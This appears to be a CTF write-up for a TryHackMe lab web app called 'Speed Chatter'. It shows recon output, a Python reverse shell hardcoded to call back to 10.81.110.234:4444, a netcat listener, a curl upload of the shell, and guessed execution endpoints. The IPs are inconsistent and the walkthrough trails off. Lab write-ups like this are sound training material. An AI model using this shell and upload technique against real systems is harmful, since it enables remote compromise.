# Speed ChattingšŸŽ‰šŸš© - Unrestricted File Upload RCE (LFI) ## Description [Speed Chatting](https://tryhackme.com/room/lafb2026e4) is an AI Security Challenge that was part of the Love at First Breach 2026, red team beginnerā€™s CTF. It covers prompt injection and system configuration vulnerabilities in AI agents, a growing concern in modern cybersecurity. > My Dearest Hacker, > > Days before Valentine's Day, TryHeartMe rushed out a new messaging platform called "Speed Chatter", promising instant connections and private conversations. But in the race to beat the holiday deadline, security took a back seat. Rumours are circulating that "Speed Chatter" was pushed to production without proper testing. > > As a security researcher, it's your task to break into "Speed Chatter", uncover flaws, and expose TryHeartMe's negligence before the damage becomes irreversible. > > You can find the web application here: `http://MACHINE_IP:5000` ```bash curl -i http://:5000 HTTP/1.1 200 OK Server: Werkzeug/3.1.5 Python/3.10.12 Date: Fri, 13 Feb 2026 19:19:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12990 Connection: close LoveConnect - Speed Chatter

LoveConnect

Speed Chat - Find Your Valentine!

Your Profile

Profile Picture
demo
Looking for love!

Update Photo

No file selected

Speed Chat Room

``` `nmap -sV -p- ` ```bash nmap -sV -p- Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-13 19:29 GMT mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for Host is up (0.00014s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) 5000/tcp open upnp? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port5000-TCP:V=7.80%I=7%D=2/13%Time=698F7B86%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,23A6,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.1\.5\x2 SF:0Python/3\.10\.12\r\nDate:\x20Fri,\x2013\x20Feb\x202026\x2019:29:09\x20 SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\ SF:x2012990\r\nConnection:\x20close\r\n\r\n\n\n\n< SF:head>\n\x20\x20\x20\x20LoveConnect\x20-\x20Speed\x20Chatter</tit SF:le>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<styl SF:e>\n\x20\x20\x20\x20\x20\x20\x20\x20@import\x20url\('https://fonts\.goo SF:gleapis\.com/css2\?family=Pacifico&family=Quicksand:wght@400;600&displa SF:y=swap'\);\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\ SF:x20\x20\*\x20{\x20margin:\x200;\x20padding:\x200;\x20box-sizing:\x20bor SF:der-box;\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x SF:20\x20\x20body\x20{\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20font-family:\x20'Quicksand',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20background:\x20linear-gradient\(135deg,\x20#ff6 SF:b9d\x200%,\x20#c06c84\x2050%,\x20#f67280\x20100%\);\n\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20min-height:\x20100vh;\n\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20padding:\x2020px;\n\x20\x20\x20\x20\x20\x SF:20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20 SF:\x20\x20\.heart-bg\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20position:\x20fixed;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:top:\x20-10%;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20left:\x2 SF:00;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\n\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20height:\x20120%;\n\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20overflow:\x20hidden;\n\x20\x2 SF:0\x20\x20\x20")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-// SF:W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http SF:://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head> SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\ SF:x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x SF:20<title>Error\x20response\n\x20\x20\x20\x20\n\x20\x20\x SF:20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20

Error\x20response

\n\x20\x20\x20\x20\x20\x20\x20\x20

Error\x20code:\x20400

\n\x20\x SF:20\x20\x20\x20\x20\x20\x20

Message:\x20Bad\x20request\x20version\x20\ SF:('RTSP/1\.0'\)\.

\n\x20\x20\x20\x20\x20\x20\x20\x20

Error\x20code\ SF:x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20request\x20sy SF:ntax\x20or\x20unsupported\x20method\.

\n\x20\x20\x20\x20\n\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 95.55 seconds ``` `gobuster dir -u http://:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,py` ### Python Reverse Shell ```bash # Simple Python reverse shell cat > shell.py << 'EOF' import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.81.110.234",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) subprocess.call(["/bin/sh","-i"]) EOF ``` * Replace `YOUR_ATTACKER_IP` with your AttackBox IP. ### Start a listener: `nc -lvnp 4444` ### Upload the Python file * using curl: ```bash curl -X POST http://10.81.134.199:5000/upload_profile_pic \ -F "profile_pic=@shell.py" ``` **Now find how to execute it:** Try these endpoints: ```bash # Direct execution endpoints curl "http://10.49.153.64:5000/run?file=shell.py" curl "http://10.49.153.64:5000/execute?script=shell.py" curl "http://10.49.153.64:5000/api/run" # Or check for an import/include mechanism curl "http://10.49.153.64:5000/?import=uploads/shell" ``` ![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/bd95052b-3b3b-4550-a53d-ccb30caec2ac.png align="center") ![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f1fbedad-e4e4-4de7-b0bd-49f367544356.png align="center")